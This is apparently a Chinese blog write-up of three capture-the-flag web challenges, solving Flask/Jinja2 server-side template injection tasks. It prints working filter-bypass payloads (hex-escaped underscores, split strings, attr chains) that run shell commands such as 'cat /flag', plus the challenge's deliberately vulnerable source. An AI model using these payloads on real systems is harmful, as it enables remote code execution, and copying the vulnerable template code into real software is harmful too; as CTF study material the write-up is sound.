加载中…

上一页

Week14 WriteUp

python ssti

前面的登录页面没有什么用,直接用快捷键查看网页源代码,发现注释里有相应链接,前往即可.

过滤了两个连续的大括号、下划线、双引号和一部分单词. 因此使用{%print ...%}+中括号+单引号+\x5f绕过,cat改为tac.

GET方法传入参数name.

{%print ()['\x5f\x5fcla''ss\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubcla''sses\x5f\x5f']()[207]['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['\x5f\x5fbuil''tins\x5f\x5f']['ev''al']('\x5f\x5fimp''ort\x5f\x5f(\'os\').popen(\'ls /\').read()')%}

Source:题库

flask

看源码提示要进/admin,然而末尾必须以.js?结束. 那么可以通过查询字符串的方式访问这个页面.

http://***/admin?.js?

提示传入name参数,根据题目名字不难看出存在ssti漏洞. 尝试{{3*3}}返回9,证明了上述猜测.

尝试一下发现禁止了__subclassesbuiltins[的使用,于是尝试利用attr加引号分隔绕过.

{{()|attr('_''_class_''_')|attr('_''_base_''_')|attr('_''_subcl''asses_''_')()|attr('_''_getitem_''_')(186)|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('_''_buil''tins_''_')|attr('_''_getitem_''_')('eval')('_''_import_''_("os").popen("cat /flag").read()')}}

url:

http://***/admin?name={{()|attr(%27_%27%27_class_%27%27_%27)|attr(%27_%27%27_base_%27%27_%27)|attr(%27_%27%27_subcl%27%27asses_%27%27_%27)()|attr(%27_%27%27_getitem_%27%27_%27)(186)|attr(%27_%27%27_init_%27%27_%27)|attr(%27_%27%27_globals_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27_%27%27_buil%27%27tins_%27%27_%27)|attr(%27_%27%27_getitem_%27%27_%27)(%27eval%27)(%27_%27%27_import_%27%27_(%22os%22).popen(%22cat%20/flag%22).read()%27)}}&.js?

Source:题库

非主流の名泩荿噐

输入{{3*3}},返回9,表明存在ssti注入. 尝试发现_[].'被过滤. 于是使用attr的方法绕过,并将_\x5f代替、.\x2e代替,获得payload

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"ls /\")\x2eread()")}}

发现没有flag文件,并且环境变量内也没有. 于是读一下该网页的源码:

{{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(132)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("eval")("\x5f\x5fimport\x5f\x5f(\"os\")\x2epopen(\"cat app\x2epy\")\x2eread()")}}

源码如下:

import random
from flask import Flask, render_template_string, render_template, request
import os

from itsdangerous import base64_encode

app = Flask(__name__)
app.config["SECRET_KEY"] = "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"


def encode(flag, key):
    f = "".join(
        chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
            ord("a")) 
            if "a" <= flag[i] <= "z" 
            else chr(
                (ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
                ord("0")) 
                if "0" <= flag[i] <= "9" 
                else flag[i]
        for i in range(len(flag)))
    return "".join(f[j * 3 + i] for i in range(3)
                   for j in range(int(len(f) / 3 + 0.5)))


file = open('/app/flag', 'r')
flag = file.read()

app.config["flag"] = encode(flag, app.config["SECRET_KEY"])
flag = ''

os.remove('/app/flag')

nicknames = [
    "☆恨☆情☆缘_%s_☆恨☆情☆缘", "%s 莪κμ迩鈊疼", "%s ◇灬絯吇氣", "℡莪們吥蓜愛 %s ", "づ咔哇嗳咿の%s",
    "%s, 封殺ろ皒 )(葬爱", "皇族♔%s♔皇族", "[♂+♂=♥]%s[♂+♂=♥]"
]


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "POST":
        try:
            p = request.values.get("nickname")
            id = random.randint(0, len(nicknames) - 1)
            if p != None:
                if "." in p or "_" in p or "\"" in p:
                    return '存在非法字符'
                return render_template_string(nicknames[id] % p)

        except Exception as e:
            print(e)
            return "Exception"

    return render_template("index.html")


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)

可以发现flag文件被加密处理之后存到了变量内. 于是读取一下变量:

{{config}}

发现加密具有周期性,于是尝试通过多次嵌套加密还原:

from itsdangerous import base64_encode

def encode(flag, key):
    f = "".join(
        chr((ord(flag[i]) + base64_encode(key)[i] - ord("a")) % 26 +
            ord("a")) 
            if "a" <= flag[i] <= "z" 
            else chr(
                (ord(flag[i]) + base64_encode(key)[i] - ord("0")) % 10 +
                ord("0")) 
                if "0" <= flag[i] <= "9" 
                else flag[i]
        for i in range(len(flag)))
    return "".join(f[j * 3 + i] for i in range(3)
                   for j in range(int(len(f) / 3 + 0.5)))

key= "徊想①嚸嚸の侵蝕涐の吢脏 漸漸占冇涐の甡掵。"
flag='gdf388-02y133sf{u8-26y7-j8efc63enr8-g2gi0}'
for i in range(100000):
    flag=encode(flag, key)
    if(flag[:4]=="flag"):
        print(flag)
        print(encode(flag, key))

找到经过下次加密之后变为原来的字符串的值,即为flag.

posted @ 2024-11-25 19:47  AC1Liu  阅读(22)  评论(0)    收藏  举报